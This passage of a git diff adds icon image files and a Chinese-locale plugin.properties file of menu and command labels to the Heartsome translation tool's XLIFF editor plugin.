/dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete match.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete note.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete note.png new file mode 100644 index 0000000..d960dac Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete note.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete to end.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete to end.png new file mode 100644 index 0000000..18cabf3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete to end.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete to tag.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete to tag.png new file mode 100644 index 0000000..123be77 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete to tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete translation.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete translation.png new file mode 100644 index 0000000..386c7ec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-all.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-all.png new file mode 100644 index 0000000..be97ff0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-all.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-current.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-current.png new file mode 100644 index 0000000..f0b7da0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-current.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-note.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-note.png new file mode 100644 index 0000000..30ceebd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/edit-note.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/insert next tag.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/insert next tag.png new file mode 100644 index 0000000..7088d10 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/insert next tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/insert tag.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/insert tag.png new file mode 100644 index 0000000..a3849ef Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/insert tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/length set.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/length set.png new file mode 100644 index 0000000..575bc77 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/length set.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_1.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_1.png new file mode 100644 index 0000000..243297f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_10.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_10.png new file mode 100644 index 0000000..48d3bbb Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_10.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_2.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_2.png new file mode 100644 index 0000000..5a4976b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_3.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_3.png new file mode 100644 index 0000000..eb4449a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_4.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_4.png new file mode 100644 index 0000000..6315cbc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_4.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_5.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_5.png new file mode 100644 index 0000000..959acf6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_5.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_6.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_6.png new file mode 100644 index 0000000..5c9c7d2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_6.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_7.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_7.png new file mode 100644 index 0000000..d09d10a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_7.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_8.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_8.png new file mode 100644 index 0000000..f9b648d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_8.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_9.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_9.png new file mode 100644 index 0000000..29383c6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/mm_number_9.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/layout/horizontal.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/layout/horizontal.png new file mode 100644 index 0000000..899f948 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/layout/horizontal.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/layout/vertical.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/layout/vertical.png new file mode 100644 index 0000000..29fa6ab Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/layout/vertical.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/add-note.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/add-note.png new file mode 100644 index 0000000..7778e30 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/add-note.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/approved.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/approved.png new file mode 100644 index 0000000..b996dec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/approved.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/cut-point.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/cut-point.png new file mode 100644 index 0000000..11c9d5a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/cut-point.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/draft.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/draft.png new file mode 100644 index 0000000..16d4e85 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/draft.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/edit-note.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/edit-note.png new file mode 100644 index 0000000..30ceebd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/edit-note.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/locked.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/locked.png new file mode 100644 index 0000000..f133b60 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/locked.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/not-sent-db.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/not-sent-db.png new file mode 100644 index 0000000..8586327 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/not-sent-db.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/not-translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/not-translated.png new file mode 100644 index 0000000..bf4ce08 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/not-translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/note.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/note.png new file mode 100644 index 0000000..aff427d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/note.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/questioning.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/questioning.png new file mode 100644 index 0000000..9e71e1c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/questioning.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/search-tb.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/search-tb.png new file mode 100644 index 0000000..e6933f2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/search-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/search-tm.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/search-tm.png new file mode 100644 index 0000000..def00b1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/search-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/sign-off.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/sign-off.png new file mode 100644 index 0000000..403a9b3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/sign-off.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/translated.png new file mode 100644 index 0000000..c790edf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/state/translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/addNote.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/addNote.png new file mode 100644 index 0000000..d28fd2e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/addNote.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/approve.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/approve.png new file mode 100644 index 0000000..09886c8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/approve.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/dontAddToDb.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/dontAddToDb.png new file mode 100644 index 0000000..b12db82 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/dontAddToDb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/draft.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/draft.png new file mode 100644 index 0000000..ae48dcf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/draft.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/editNote.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/editNote.png new file mode 100644 index 0000000..1353d32 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/editNote.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/empty.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/empty.png new file mode 100644 index 0000000..267afcc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/empty.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/hasNote.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/hasNote.png new file mode 100644 index 0000000..da1e417 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/hasNote.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/locked.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/locked.png new file mode 100644 index 0000000..ec7ae9d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/locked.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/question.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/question.png new file mode 100644 index 0000000..ee7b821 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/question.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/searchTb.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/searchTb.png new file mode 100644 index 0000000..e6933f2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/searchTb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/searchTm.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/searchTm.png new file mode 100644 index 0000000..def00b1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/searchTm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/signedOff.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/signedOff.png new file mode 100644 index 0000000..350d710 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/signedOff.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/splitPoint.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/splitPoint.png new file mode 100644 index 0000000..d1ad2b4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/splitPoint.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/translated.png new file mode 100644 index 0000000..d75530b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/temp/translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved .png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved .png new file mode 100644 index 0000000..0fab2a4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved .png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved-next.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved-next.png new file mode 100644 index 0000000..506d898 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved-next.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved.png new file mode 100644 index 0000000..d0c59cd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/approved.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/cancel-edit.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/cancel-edit.png new file mode 100644 index 0000000..64f5021 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/cancel-edit.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/copy-to-target.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/copy-to-target.png new file mode 100644 index 0000000..0fb4254 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/copy-to-target.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/delete-to-end.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/delete-to-end.png new file mode 100644 index 0000000..290619d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/delete-to-end.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/delete-to-tag.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/delete-to-tag.png new file mode 100644 index 0000000..82bc3d0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/delete-to-tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/edit-all.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/edit-all.png new file mode 100644 index 0000000..1c5f30d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/edit-all.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/edit-current.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/edit-current.png new file mode 100644 index 0000000..a276262 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/edit-current.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/horizontal.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/horizontal.png new file mode 100644 index 0000000..1463de3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/horizontal.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-complete.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-complete.png new file mode 100644 index 0000000..47305cf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-complete.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-index.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-index.png new file mode 100644 index 0000000..d2a7cae Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-index.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-simple.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-simple.png new file mode 100644 index 0000000..40c7f3a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/tag-simple.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated-next.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated-next.png new file mode 100644 index 0000000..921e200 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated-next.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated-next2.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated-next2.png new file mode 100644 index 0000000..bf56251 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated-next2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated.png new file mode 100644 index 0000000..7cf8765 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/vertical.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/vertical.png new file mode 100644 index 0000000..2c43f9c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/vertical.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/view-translation.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/view-translation.png new file mode 100644 index 0000000..20fb8c0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool/view-translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/approved-next.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/approved-next.png new file mode 100644 index 0000000..c75519b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/approved-next.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/approved.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/approved.png new file mode 100644 index 0000000..b996dec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/approved.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/copy to.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/copy to.png new file mode 100644 index 0000000..bb4435f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/copy to.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/locked.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/locked.png new file mode 100644 index 0000000..f133b60 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/locked.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/multi_trans.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/multi_trans.png new file mode 100644 index 0000000..621f319 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/multi_trans.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/quick-translate.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/quick-translate.png new file mode 100644 index 0000000..89d3a8f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/quick-translate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/signed_off.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/signed_off.png new file mode 100644 index 0000000..403a9b3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/signed_off.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated-next.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated-next.png new file mode 100644 index 0000000..bbf17bb Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated-next.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated-next2.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated-next2.png new file mode 100644 index 0000000..94e9a4a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated-next2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated.png new file mode 100644 index 0000000..c790edf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translate/translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translated.png new file mode 100644 index 0000000..41ff833 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/view/horizontal.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/view/horizontal.png new file mode 100644 index 0000000..667f6a1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/view/horizontal.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/view/vertical.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/view/vertical.png new file mode 100644 index 0000000..f2393db Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/view/vertical.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin.properties new file mode 100644 index 0000000..812b914 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin.properties @@ -0,0 +1,117 @@ +# properties file for locale [zh] +contenttype.name.0 = XLIFF \u6587\u4ef6 +contenttype.name.1 = \u9aa8\u67b6\u6587\u4ef6 + +menu.edit.splitSegment = \u5206\u5272\u6587\u672c\u6bb5 +menu.edit.mergeSegment = \u5408\u5e76\u6587\u672c\u6bb5 +command.splitSegment = \u5206\u5272\u6587\u672c\u6bb5 +command.mergeSegment = \u5408\u5e76\u6587\u672c\u6bb5 + +menu.edit.addNote = \u6dfb\u52a0\u6279\u6ce8... +menu.edit.deleteNote = \u5220\u9664\u6279\u6ce8 +command.addNote = \u6dfb\u52a0\u6279\u6ce8 +command.deleteNote = \u5220\u9664\u6279\u6ce8 + +menu.edit.deleteTranslation = \u5220\u9664\u8bd1\u6587 +menu.edit.deleteAltTrans = \u5220\u9664 XLIFF \u9884\u5b58\u5339\u914d +menu.edit.deleteToEnd = \u5220\u9664\u5149\u6807\u540e\u5185\u5bb9 +menu.edit.deleteToTag = \u5220\u9664\u6807\u8bb0\u524d\u5185\u5bb9 +toolbar.deleteToEnd = \u5220\u9664\u5149\u6807\u540e\u5185\u5bb9 +toolbar.deleteToTag = \u5220\u9664\u6807\u8bb0\u524d\u5185\u5bb9 +command.deleteTranslation = \u5220\u9664\u8bd1\u6587 +command.deleteAltTrans = \u5220\u9664 XLIFF \u9884\u5b58\u5339\u914d +command.deleteToEnd = \u5220\u9664\u5149\u6807\u540e\u5185\u5bb9 +command.deleteToTag = \u5220\u9664\u6807\u8bb0\u524d\u5185\u5bb9 + +menu.edit.quickTags = \u5feb\u901f\u63d2\u5165\u6807\u8bb0 +menu.edit.insertNextTag = \u63d2\u5165\u4e0b\u4e00\u6807\u8bb0 +menu.edit.innerTagShowState = \u6807\u8bb0\u663e\u793a\u72b6\u6001 +menu.edit.showTagIndex = \u7f16\u53f7\u6807\u8bb0 +menu.edit.showSimpleTag = \u90e8\u5206\u6807\u8bb0\u5185\u5bb9 +menu.edit.showWholeTag = \u5b8c\u6574\u6807\u8bb0\u5185\u5bb9 +toolbar.showTagIndex = \u7f16\u53f7\u6807\u8bb0 +toolbar.showSimpleTag = \u90e8\u5206\u6807\u8bb0\u5185\u5bb9 +toolbar.showWholeTag = \u5b8c\u6574\u6807\u8bb0\u5185\u5bb9 +menu.edit.deleteAllTags = \u5220\u9664\u6240\u6709\u6807\u8bb0 +command.quickTags = \u5feb\u901f\u63d2\u5165\u6807\u8bb0 +command.quickTags.num1 = \u5feb\u901f\u6807\u8bb0 1 +command.quickTags.num2 = \u5feb\u901f\u6807\u8bb0 2 +command.quickTags.num3 = \u5feb\u901f\u6807\u8bb0 3 +command.quickTags.num4 = \u5feb\u901f\u6807\u8bb0 4 +command.quickTags.num5 = \u5feb\u901f\u6807\u8bb0 5 +command.quickTags.num6 = \u5feb\u901f\u6807\u8bb0 6 +command.quickTags.num7 = \u5feb\u901f\u6807\u8bb0 7 +command.quickTags.num8 = \u5feb\u901f\u6807\u8bb0 8 +command.quickTags.num9 = \u5feb\u901f\u6807\u8bb0 9 +command.quickTags.num10 = \u5feb\u901f\u6807\u8bb0 10 